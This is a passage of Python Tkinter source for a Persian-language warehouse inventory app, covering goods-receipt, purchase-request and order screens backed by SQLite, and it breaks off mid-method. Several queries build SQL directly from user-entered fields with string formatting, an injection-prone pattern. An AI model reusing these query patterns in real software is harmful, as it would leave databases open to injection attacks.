self.listReceipt.column('receiptId',width=220,anchor=E)\n self.listReceipt.column('kalaId',width=150,anchor=E)\n self.listReceipt.column('kalaName',width=200,anchor=E)\n self.listReceipt.column('fullname',width=240,anchor=E)\n self.listReceipt.column('row',width=120,anchor=E)\n #heading\n self.listReceipt.heading('date',text=' : تاریخ',anchor=E)\n self.listReceipt.heading('kalaNum',text=' : تعداد',anchor=E)\n self.listReceipt.heading('receiptId',text=' : کد خرید',anchor=E)\n self.listReceipt.heading('kalaId',text=' : کد کالا',anchor=E)\n self.listReceipt.heading('kalaName',text=' : نام کالا',anchor=E)\n self.listReceipt.heading('fullname',text=' : نام و نام خانوادگی',anchor=E)\n self.listReceipt.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 18),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n #____bind____\n self.e_searchUser_receipt.focus()\n self.e_searchUser_receipt.bind('',lambda event:self.b_searchUser_receipt.focus())\n self.b_searchUser_receipt.bind('',self.search_idUser_receipt)\n self.e_searchKala_receipt.bind('',lambda event:self.e_searchKala_receipt.delete(0,END))\n self.e_searchKala_receipt.bind('',lambda event:self.b_searchKala_receipt.focus())\n self.b_searchKala_receipt.bind('',self.search_idKala)\n self.e_kalaNum_receipt.bind('',lambda event:self.b_addKalaNum_receipt.focus())\n self.b_addKalaNum_receipt.bind('',self.funcAddNum)\n \n self.b_openNav_receipt=Button(receipt_page,image=self.openBtnImg,bg='#DFDFDF',activebackground='#DFDFDF',bd=0,command=self.switch_receipt_nav,cursor='hand2')\n self.navFrm_receipt=Frame(receipt_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_receipt=LabelFrame(self.navFrm_receipt,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_receipt=Button(self.closeFrm_receipt,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_receipt_nav)\n self.b_mainPage_receipt=Button(self.navFrm_receipt,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_main)\n self.b_addKala_receipt=Button(self.navFrm_receipt,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_kala)\n self.b_addUser_receipt=Button(self.navFrm_receipt,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_user)\n self.b_WrStock_receipt=Button(self.navFrm_receipt,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_stock)\n self.b_Receipt_receipt=Button(self.navFrm_receipt,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_request_receipt=Button(self.navFrm_receipt,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_request)\n self.b_order_receipt=Button(self.navFrm_receipt,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_order)\n self.b_exitKala_receipt=Button(self.navFrm_receipt,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_exit)\n self.b_history_receipt=Button(self.navFrm_receipt,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_history)\n self.b_issuance_receipt=Button(self.navFrm_receipt,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.receipt_to_bill)\n self.b_exit_receipt=Button(self.navFrm_receipt,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.dateFrm_receipt.place(x=0,y=5)\n self.date_label_receipt.place(x=15,y=4)\n self.time_label_receipt.place(x=190,y=4)\n self.b_openNav_receipt.place(x=1340,y=20)\n self.navFrm_receipt.place(x=1400,y=0)\n self.closeFrm_receipt.place(x=0,y=0)\n self.b_closeNav_receipt.place(x=15,y=15)\n self.b_mainPage_receipt.place(x=0,y=50)\n self.b_addKala_receipt.place(x=0,y=115)\n self.b_addUser_receipt.place(x=0,y=180)\n self.b_WrStock_receipt.place(x=0,y=245)\n self.b_Receipt_receipt.place(x=0,y=310)\n self.b_request_receipt.place(x=0,y=375)\n self.b_order_receipt.place(x=0,y=440)\n self.b_exitKala_receipt.place(x=0,y=505)\n self.b_history_receipt.place(x=0,y=570)\n self.b_issuance_receipt.place(x=0,y=635)\n self.b_exit_receipt.place(x=0,y=700)\n self.h_vorodKala_receipt.place(x=610,y=0)\n self.searchUserFrm.place(x=-5,y=-10)\n self.l_attention_receipt.place(x=690,y=90)\n self.e_searchUser_receipt.place(x=475,y=95)\n self.b_searchUser_receipt.place(x=315,y=85)\n self.e_searchKala_receipt.place(x=1115,y=175)\n self.b_searchKala_receipt.place(x=955,y=170)\n self.infoKalaFrm_receipt.place(x=60,y=225)\n self.l_nameUser_receipt.place(x=1275,y=280)\n self.nameUserLbl_receipt.place(x=1095,y=280)\n self.l_nameKala_receipt.place(x=1255,y=360)\n self.nameKalaLbl_receipt.place(x=1095,y=360)\n self.l_lastUser_receipt.place(x=975,y=280)\n self.lastUserLbl_receipt.place(x=795,y=280)\n self.l_kalaId_receipt.place(x=1015,y=360)\n self.kalaIdLbl_receipt.place(x=795,y=360)\n self.l_kalaType_receipt.place(x=700,y=280)\n self.kalaTypeLbl_receipt.place(x=515,y=280)\n self.l_groupKala_receipt.place(x=705,y=360)\n self.groupKalaLbl_receipt.place(x=515,y=360)\n self.l_stock_receipt.place(x=395,y=280)\n self.stockLbl_receipt.place(x=280,y=280)\n self.l_purchase_receipt.place(x=385,y=360)\n self.purchaseLbl_receipt.place(x=280,y=360)\n self.l_imgSelector_receipt.place(x=130,y=400)\n self.imgSelectorBg_receipt.place(x=85,y=250)\n self.kalaNumFrm_receipt.place(x=520,y=460)\n self.kalaNum_receipt.place(x=700,y=10)\n self.e_kalaNum_receipt.place(x=490,y=10)\n self.b_addKalaNum_receipt.place(x=15,y=5)\n self.l_date_receipt.place(x=350,y=10)\n self.date_receipt.place(x=190,y=10)\n self.listReceipt.place(x=85,y=545)\n \n def update_time_receipt(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_receipt.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_receipt.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_receipt.after(1000, self.update_time_receipt)\n\n def switch_receipt_nav(self):\n if self.btnState is True:\n self.navFrm_receipt.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_receipt.place(x=1180, y=0)\n self.btnState = True\n \n def receipt_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page .state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n\n def receipt_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n \n def receipt_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = False\n\n def receipt_to_bill(self):\n self.navFrm_billing.place(x=1180, y=0)\n sodorbill_page .state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n \n def receipt_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n \n def receipt_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n\n def receipt_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n\n def receipt_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n\n def receipt_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n receipt_page.state('withdraw')\n self.btnState = True\n\n\n def search_idUser_receipt(self,event=None):\n try:\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.nationalId=self.e_searchUser_receipt.get()\n self.count=0\n if self.nationalId != '':\n self.row=self.cur.execute('SELECT * FROM user WHERE national_code=\"{}\"'.format(self.nationalId))\n self.userInfo=list(self.row)\n if self.userInfo[0][6]=='فروشنده':\n self.permission=True\n self.nameUserLbl_receipt['text']=self.userInfo[0][1]\n self.lastUserLbl_receipt['text']=self.userInfo[0][2]\n self.fullname_r=self.userInfo[0][1]+' '+self.userInfo[0][2]\n else:\n messagebox.showinfo(\"information\",\"کاربر با این کد ملی قادر به ثبت ورود کالا نیست\")\n except :\n messagebox.showinfo(\"information\",\"کاربری با این کد ملی وجود ندارد\")\n\n\n def search_idKala(self,event=None):\n if self.permission==True:\n self.idKala=self.e_searchKala_receipt.get()\n if self.idKala !='':\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT photo FROM kala WHERE id = '{}'\".format(self.idKala))\n image_data = self.cur.fetchone()[0]\n kala_img = Image.open(io.BytesIO(image_data))\n kala_image = kala_img.resize((150, 150))\n self.kala_photo = ImageTk.PhotoImage(kala_image)\n self.imgSelectorBg_receipt['image']=self.kala_photo\n\n self.row=self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(self.idKala))\n self.kalaInfo=list(self.row)\n self.nameKalaLbl_receipt['text']=self.kalaInfo[0][1]\n self.kalaTypeLbl_receipt['text']=self.kalaInfo[0][2]\n self.kalaIdLbl_receipt['text']=self.kalaInfo[0][0]\n self.groupKalaLbl_receipt['text']=self.kalaInfo[0][3]\n self.stockLbl_receipt['text']=self.kalaInfo[0][7]\n self.purchaseLbl_receipt['text']=self.kalaInfo[0][4]\n self.e_searchKala_receipt.delete(0,END)\n self.e_searchKala_receipt.insert(0,'جستجوی کد کالا')\n\n def funcAddNum(self,event=None):\n self.entryNum=self.e_kalaNum_receipt.get()\n self.selected_date_receipt = self.date_receipt.get()\n self.kalaNumber=int(self.entryNum)+int(self.kalaInfo[0][7])\n self.randomId_receipt=str(uuid.uuid4())\n self.randomId_receipt=self.randomId_receipt[:8]\n self.data=(self.kalaInfo[0][0],self.kalaInfo[0][1],self.fullname_r,self.entryNum,self.kalaInfo[0][7],\n self.kalaInfo[0][4],'وارد انبار شد',self.selected_date_receipt,self.randomId_receipt)\n self.cur.execute('''CREATE TABLE IF NOT EXISTS orders (idKala TEXT NOT NULL ,nameKala TEXT NOT NULL ,nameUser TEXT NOT NULL\n ,numOrder NOT NULL,stock,purchase TEXT NOT NULL,condition TEXT,date INTEGER NOT NULL,orderId)''')\n self.cur.execute('INSERT INTO orders(idKala,nameKala,nameUser,numOrder,stock,purchase,condition,date,orderId) VALUES(?,?,?,?,?,?,?,?,?)',self.data)\n self.cur.execute(''' UPDATE kala SET stock = \"{}\" WHERE id=\"{}\" '''.format(self.kalaNumber,self.idKala))\n self.cur.execute(''' UPDATE orders SET stock = \"{}\" WHERE orderId=\"{}\" '''.format(self.kalaNumber,self.randomId_receipt))\n self.con.commit()\n self.num_of_rows = len(self.listReceipt.get_children())\n self.listReceipt.insert(parent='',index='end',text='',\n values=(self.selected_date_receipt,self.entryNum,self.randomId_receipt,self.kalaInfo[0][0],self.kalaInfo[0][1],self.fullname_r,self.num_of_rows+1))\n self.e_kalaNum_receipt.delete(0,END)\n self.e_searchKala_receipt.delete(0,END)\n self.e_searchKala_receipt.insert(0,'جستجوی کد کالا')\n self.e_searchUser_receipt.delete(0,END)\n self.kalaInfo=[]\n self.fullname=''\n self.nameKalaLbl_receipt['text']=''\n self.kalaTypeLbl_receipt['text']=''\n self.kalaIdLbl_receipt['text']=''\n self.groupKalaLbl_receipt['text']=''\n self.nameUserLbl_receipt['text']=''\n self.lastUserLbl_receipt['text']=''\n self.purchaseLbl_receipt['text']=''\n self.stockLbl_receipt['text']=''\n self.permission=False\n self.imgSelectorBg_receipt['image']=self.kalaImg\n\n\n #_____________________________________________________________________________________________________________________________________________\n #______________________________________________________________ request product _____________________________________________________________\n\n def request_product_page(self):\n \n request_page.title('نرم افزار انبارداری')\n request_page.resizable(False,False)\n request_page.iconbitmap('image/warehouseIco.ico')\n request_page.configure (bg='#F6F5F5')\n request_page.geometry('1400x800+250+100')\n\n self.headerReguestImg = PhotoImage(file='image/headerRequestImg.png')\n self.requestBtnImg = PhotoImage(file='image/requestBtnImg.png')\n\n self.dateFrm_request=Label(request_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='#F6F5F5')\n self.time_label_request = Label(self.dateFrm_request)\n self.date_label_request = Label(self.dateFrm_request)\n self.h_requestPage = Label(request_page,image=self.headerReguestImg)\n self.b_requestPage = Button(request_page,image=self.requestBtnImg,bd=0,activebackground='#F6F5F5',command=self.order_kala)\n #list\n self.listRequest= ttk.Treeview(request_page,show='headings',height=15)\n self.listRequest['columns']=('Purchase','number','Category','Type','Name','id','row')\n #columns\n self.listRequest.column('Purchase',width=150,anchor=E)\n self.listRequest.column('number',width=150,anchor=E)\n self.listRequest.column('Category',width=220,anchor=E)\n self.listRequest.column('Type',width=220,anchor=E)\n self.listRequest.column('Name',width=220,anchor=E)\n self.listRequest.column('id',width=150,anchor=E)\n self.listRequest.column('row',width=120,anchor=E)\n #heading\n self.listRequest.heading('Purchase',text=' : نقطه خرید',anchor=E)\n self.listRequest.heading('number',text=' : تعداد',anchor=E)\n self.listRequest.heading('Category',text=' : گروه کالا',anchor=E)\n self.listRequest.heading('Type',text=' : نوع کالا',anchor=E)\n self.listRequest.heading('Name',text=' : نام کالا',anchor=E)\n self.listRequest.heading('id',text=' : کد کالا',anchor=E)\n self.listRequest.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 18),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.b_openNav_request=Button(request_page,image=self.openBtnImg,bg='#F6F5F5',activebackground='#F6F5F5',bd=0,command=self.switch_request_nav,cursor='hand2')\n self.navFrm_request=Frame(request_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_request=LabelFrame(self.navFrm_request,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_request=Button(self.closeFrm_request,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_request_nav)\n self.b_mainPage_request=Button(self.navFrm_request,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_main)\n self.b_addKala_request=Button(self.navFrm_request,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_kala)\n self.b_addUser_request=Button(self.navFrm_request,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_user)\n self.b_WrStock_request=Button(self.navFrm_request,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_stock)\n self.b_Receipt_request=Button(self.navFrm_request,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_receipt)\n self.b_request_request=Button(self.navFrm_request,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_order_request=Button(self.navFrm_request,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_order)\n self.b_exitKala_request=Button(self.navFrm_request,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_exit)\n self.b_history_request=Button(self.navFrm_request,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_history)\n self.b_issuance_request=Button(self.navFrm_request,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.request_to_bill)\n self.b_exit_request=Button(self.navFrm_request,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.dateFrm_request.place(x=0,y=0)\n self.date_label_request.place(x=15,y=4)\n self.time_label_request.place(x=190,y=4)\n self.b_openNav_request.place(x=1340,y=20)\n self.navFrm_request.place(x=1400,y=0)\n self.closeFrm_request.place(x=0,y=0)\n self.b_closeNav_request.place(x=15,y=15)\n self.b_mainPage_request.place(x=0,y=50)\n self.b_addKala_request.place(x=0,y=115)\n self.b_addUser_request.place(x=0,y=180)\n self.b_WrStock_request.place(x=0,y=245)\n self.b_Receipt_request.place(x=0,y=310)\n self.b_request_request.place(x=0,y=375)\n self.b_order_request.place(x=0,y=440)\n self.b_exitKala_request.place(x=0,y=505)\n self.b_history_request.place(x=0,y=570)\n self.b_issuance_request.place(x=0,y=635)\n self.b_exit_request.place(x=0,y=700)\n #_________________bind_________________\n self.listRequest.bind('',self.select_record_list_request)\n\n self.h_requestPage.place(x=580,y=0)\n self.listRequest.place(x=85,y=90)\n self.b_requestPage.place(x=600,y=720)\n \n def update_time_request(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_request.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_request.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm.after(1000, self.update_time_request)\n\n def switch_request_nav(self):\n if self.btnState is True:\n self.navFrm_request.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_request.place(x=1180, y=0)\n self.btnState = True\n \n def request_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page .state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def request_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n \n def request_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n request_page.state('withdraw')\n self.btnState = False\n\n def request_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def request_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n \n def request_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def request_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def request_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def request_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n request_page.state('withdraw')\n self.btnState = True\n\n def data_to_list_request(self):\n self.lst=[]\n for item in self.listRequest.get_children():\n self.listRequest.delete(item)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='kala'\")\n self.result_request = self.cur.fetchone()\n if self.result_request != None:\n row=self.cur.execute('SELECT * FROM kala')\n for i in row:\n self.lst.append(i)\n for i in self.lst:\n if int(i[4]) > int(i[7]):\n self.numlistRequest=len(self.listKala.get_children())\n self.listRequest.insert(parent='',index='end',text='',\n values=(i[4],i[7],i[3],i[2],i[1],i[0],self.numlistRequest))\n def order_kala(self):\n if self.btnState == True:\n self.navFrm_receipt.place(x=1180,y=0)\n else:\n self.navFrm_receipt.place(x=1400,y=0)\n receipt_page.state('normal')\n request_page.state('withdraw')\n self.row=self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(self.valuesReq[5]))\n self.row=list(self.row)\n self.limit_order=(self.row[0][4])-int(self.row[0][7])\n self.e_searchKala_receipt.delete(0,END)\n self.e_searchKala_receipt.insert('0',(self.valuesReq[5]))\n self.e_kalaNum_receipt.insert('0',self.limit_order)\n self.con.commit()\n\n def select_record_list_request(self,event=None):\n self.selected = self.listRequest.focus()\n self.valuesReq = self.listRequest.item(self.selected , \"values\")\n \n#__________________________________________________________________________________________________________________________________________________________________\n#_______________________________________________________________ order page ______________________________________________________________________________\n def order_kala_page(self):\n order_page.title('نرم افزار انبارداری')\n order_page.resizable(False,False)\n order_page.iconbitmap('image/warehouseIco.ico')\n order_page.configure (bg='#F6F5F5')\n order_page.geometry('1400x800+250+100')\n \n self.headerOrderImg = PhotoImage(file='image/headerOrderKala.png')\n self.sabtOrderBtnImg = PhotoImage(file='image/sabtOrder.png')\n self.searchBtnImg_order = PhotoImage(file='image/searchBtnImg.png')\n self.order_imgSelectorPic = PhotoImage(file='image/imgSelectorBg.png')\n self.order_baresiImg = PhotoImage(file='image/baresiBtnImg.png')\n self.tickImgBtn = PhotoImage(file='image/tickImgBtn.png')\n\n self.dateFrm_order=Label(order_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='#F6F5F5')\n self.time_label_order = Label(self.dateFrm_order)\n self.date_label_order = Label(self.dateFrm_order)\n self.l_headerOrderPage = Label(order_page,image=self.headerOrderImg)\n self.attention_idUser = Label(order_page,text=' . لطفا کد کاربر موردنطر خود را وارد کنید',font=('Lalezar',17),bg='#F6F5F5')\n self.e_idUser_order = Entry(order_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.b_searchUserBtnOrder = Button(order_page,image=self.order_baresiImg,bd=0,activebackground='#F6F5F5',command=self.search_idUser_order)\n self.e_idKala_order = Entry(order_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.e_idKala_order.insert(0,'جستجوی کد کالا')\n self.b_searchBtnOrder = Button(order_page,image=self.searchBtnImg_order,bd=0,activebackground='#F6F5F5',command=self.search_idKala_order)\n self.userInfo_order_frm = LabelFrame(order_page,width=510,height=135,bg='#F2F2F2',bd=5,relief=SOLID)\n self.l_nameUser_order = Label(self.userInfo_order_frm,text=' : نام',font=('Lalezar',17),bg='#F2F2F2')\n self.nameUserLbl_order = Label(self.userInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#F2F2F2',width=15,fg='#4F4E4E')\n self.l_lastUser_order = Label(self.userInfo_order_frm,text=' : نام خانوادگی',font=('Lalezar',17),bg='#F2F2F2')\n self.lastUserLbl_order =Label(self.userInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#F2F2F2',width=15,fg='#4F4E4E')\n self.l_nationalCode_order = Label(self.userInfo_order_frm,text=' : کد ملی',font=('Lalezar',17),bg='#F2F2F2')\n self.nationalCodeLbl_order = Label(self.userInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#F2F2F2',width=15,fg='#4F4E4E')\n self.l_userId_order = Label(self.userInfo_order_frm,text=' : کد کاربری',font=('Lalezar',17),bg='#F2F2F2')\n self.userIdLbl_order = Label(self.userInfo_order_frm,text='{: >10}'.format(''),font=('Lalezar',17),bg='#F2F2F2',width=8,fg='#4F4E4E')\n self.order_frm_num = LabelFrame(order_page,width=510,height=115,bg='#F2F2F2',bd=5,relief=SOLID)\n self.l_orderNum = Label(self.order_frm_num,text=' : تعداد',font=('Lalezar',17))\n self.e_orderNum = Entry(self.order_frm_num,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.l_date_order = Label(self.order_frm_num,text=' : تاریخ',font=('Lalezar',17),bg='#EAEAEA')\n self.date_order = DateEntry(self.order_frm_num,font=('Lalezar',14))\n self.b_sabtOrder = Button(self.order_frm_num,image=self.sabtOrderBtnImg,bd=0,activebackground='white',command=self.addOrder)\n self.kalaInfo_order_frm = LabelFrame(order_page,width=800,height=240,bg='#D0D0D0',bd=5,relief=SOLID)\n self.l_nameKala_order = Label(self.kalaInfo_order_frm,text=' : نام کالا',font=('Lalezar',17),bg='#D0D0D0')\n self.nameKalaLbl_order = Label(self.kalaInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=15,fg='#4F4E4E')\n self.l_kalaType_order = Label(self.kalaInfo_order_frm,text=' : نوع کالا',font=('Lalezar',17),bg='#D0D0D0')\n self.kalaTypeLbl_order =Label(self.kalaInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=15,fg='#4F4E4E')\n self.l_kalaId_order = Label(self.kalaInfo_order_frm,text=' : کد کالا',font=('Lalezar',17),bg='#D0D0D0')\n self.kalaIdLbl_order = Label(self.kalaInfo_order_frm,text='{: >10}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=10,fg='#4F4E4E')\n self.l_groupKala_order = Label(self.kalaInfo_order_frm,text=' : گروه کالا',font=('Lalezar',17),bg='#D0D0D0')\n self.groupKalaLbl_order = Label(self.kalaInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=15,fg='#4F4E4E')\n self.l_kalaNum_order = Label(self.kalaInfo_order_frm,text=' : موجودی',font=('Lalezar',17),bg='#D0D0D0')\n self.kalaNumLbl_order = Label(self.kalaInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=15,fg='#4F4E4E')\n self.l_purcase_order = Label(self.kalaInfo_order_frm,text=' : نقطه خرید',font=('Lalezar',17),bg='#D0D0D0')\n self.purcaseLbl_order = Label(self.kalaInfo_order_frm,text='{: ^20}'.format(''),font=('Lalezar',17),bg='#D0D0D0',width=15,fg='#4F4E4E')\n self.l_imgSelector_order = Label(self.kalaInfo_order_frm,text='تصویر',font=('Lalezar',17),bg='#D0D0D0')\n self.imgSelectorBg_order = Label(self.kalaInfo_order_frm,bg='#D0D0D0',image=self.order_imgSelectorPic,width=150,height=150)\n self.tickBtnOrder = Button(order_page,bg='#D0D0D0',image=self.tickImgBtn,bd=0,background='white',cursor='hand2')\n #list\n self.listOrder= ttk.Treeview(order_page,show='headings',height=8)\n\n self.listOrder['columns']=('date','stock','orderNum','orderId','userName','NameKala','id','row')\n #columns\n self.listOrder.column('date',width=140,anchor=CENTER)\n self.listOrder.column('stock',width=140,anchor=CENTER)\n self.listOrder.column('orderId',width=210,anchor=E)\n self.listOrder.column('orderNum',width=130,anchor=CENTER)\n self.listOrder.column('userName',width=230,anchor=E)\n self.listOrder.column('NameKala',width=185,anchor=E)\n self.listOrder.column('id',width=130,anchor=CENTER)\n self.listOrder.column('row',width=130,anchor=CENTER)\n #heading\n self.listOrder.heading('date',text=' : تاریخ',anchor=E)\n self.listOrder.heading('stock',text=' : موجودی',anchor=E)\n self.listOrder.heading('orderId',text=' : کد سفارش',anchor=E)\n self.listOrder.heading('orderNum',text=' : تعداد سفارش',anchor=E)\n self.listOrder.heading('userName',text=' : نام سفارش دهنده',anchor=E)\n self.listOrder.heading('NameKala',text=' : نام کالا',anchor=E)\n self.listOrder.heading('id',text=' : کد کالا',anchor=E)\n self.listOrder.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 16),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.b_openNav_order=Button(order_page,image=self.openBtnImg,bg='#F6F5F5',activebackground='#F6F5F5',bd=0,command=self.switch_order_nav,cursor='hand2')\n self.navFrm_order=Frame(order_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_order=LabelFrame(self.navFrm_order,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_order=Button(self.closeFrm_order,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_order_nav)\n self.b_mainPage_order=Button(self.navFrm_order,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_main)\n self.b_addKala_order=Button(self.navFrm_order,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_kala)\n self.b_addUser_order=Button(self.navFrm_order,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_user)\n self.b_WrStock_order=Button(self.navFrm_order,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_stock)\n self.b_Receipt_order=Button(self.navFrm_order,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_receipt)\n self.b_request_order=Button(self.navFrm_order,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_request)\n 